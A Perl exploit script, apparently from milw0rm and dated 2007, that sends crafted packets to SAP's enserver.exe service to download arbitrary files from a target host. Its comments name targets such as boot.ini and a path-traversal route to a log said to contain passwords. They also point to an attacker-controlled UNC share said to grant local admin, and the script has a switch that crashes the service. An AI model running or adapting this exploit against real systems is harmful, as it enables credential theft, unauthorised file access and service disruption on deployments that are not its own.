105 lines
No EOL
2.9 KiB
Prolog
Executable file
105 lines
No EOL
2.9 KiB
Prolog
Executable file
#!/usr/bin/perl -w
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##
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## SAP 'enserver.exe' file downloader
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## Tested on "SAP Web Application Server Java 6.40" (eval DVD)
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## Found & coded by Nicob
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##
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## The downloaded file is limited to the first 32 kilobytes
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## Usual port : TCP/3200+SYSNR
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## Exemple : ./r3-stealer-1.0.pl 192.168.2.22 3201 "c:\\boot.ini"
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##
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## From MSDN (Win2K pre-SP4, WinXP pre-SP2 and WinNT) :
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## "\\\\your_box\\pipe\\your_pipe" => get Local Admin (SAPServiceJ2E)
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## http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthz/security/authorization_constants.asp
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##
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## File parameter :
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## C:\boot.ini
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## \\10.11.12.13\share\image.jpg
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## ..\..\..\..\..\..\Documents and Settings\All Users\Application Data\sapdb\wa\httpreq.log (contains passwords !)
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##
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# Init
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use strict;
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use IO::Socket;
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my $verbose = 0;
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# Set this to anything not null to crash the process
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my $crash = "";
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my $socket;
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my $reply;
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$|=1;
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# Get arguments
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if (($#ARGV<2) or ($ARGV[0] eq "-h")) {die "Usage: $0 <ip> <port> <remote filename> (<local filename>)\n";}
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my $host=$ARGV[0];
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my $port=$ARGV[1];
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my $filename=$ARGV[2];
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my $output=$ARGV[3];
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# Calculate variables
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my $lg = length($filename);
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my $tag1 = sprintf('%x', 0x4F + $lg);
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my $tag2 = sprintf('%x', 0x20 + $lg);
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# Show banner
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print "#####################################################################\n";
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print "### SAP 'enserver.exe' file downloader\n";
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print "### Downloading '$filename' from '$host'\n";
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print "#####################################################################\n\n";
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# Define the packets
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my $packet1 =
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"0000005dabcde123000000000000005d0000005d06010000000000060000000000040000000000010004000000000003". # Static
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"5f6e69636f625f6e69636f625f6e69636f62315f". # ASCII string : "_nicob_nicob_nicob1_"
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"00000000020000003b0000000500000002000000060000000400000001"; # Static
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my $packet2 =
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"000000". $tag1. "abcde12300000001000000". $tag1 ."000000". $tag1 .
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"03000000454e430001010000234541410100000013030000000000234541450001000000". $tag2 .
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"0000000000007d00000000000000000000000000". unpack("H*",$filename) . $crash ."000023454144"; # Crash if bad filename length
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# Create the socket
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$socket = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort => $port)
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|| die "Connection refused at [$host:$port]";
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# Send the two packet
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print $socket pack("H*",$packet1);
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print $socket pack("H*",$packet2);
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sleep 2;
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# Read and display response
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recv($socket,$reply,150000,MSG_PEEK);
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if ($reply =~ /^(.*)#EAD(.*)$/s) {
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print "File received !\n";
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if ((!defined($output)) or ($output eq "")) {
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print "\n===========================================\n";
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print $2;
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print "\n===========================================\n";
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} else {
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open(OUT, "> $output") || die "Can't open $output ($0)";
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print "File saved as '$output'\n";
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print OUT $2;
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close(OUT);
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}
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} else {
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print "Problem interpreting reply :-(\n";
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}
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# Close the socket
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print "\nThe end ...\n";
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close $socket;
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# milw0rm.com [2007-02-08] |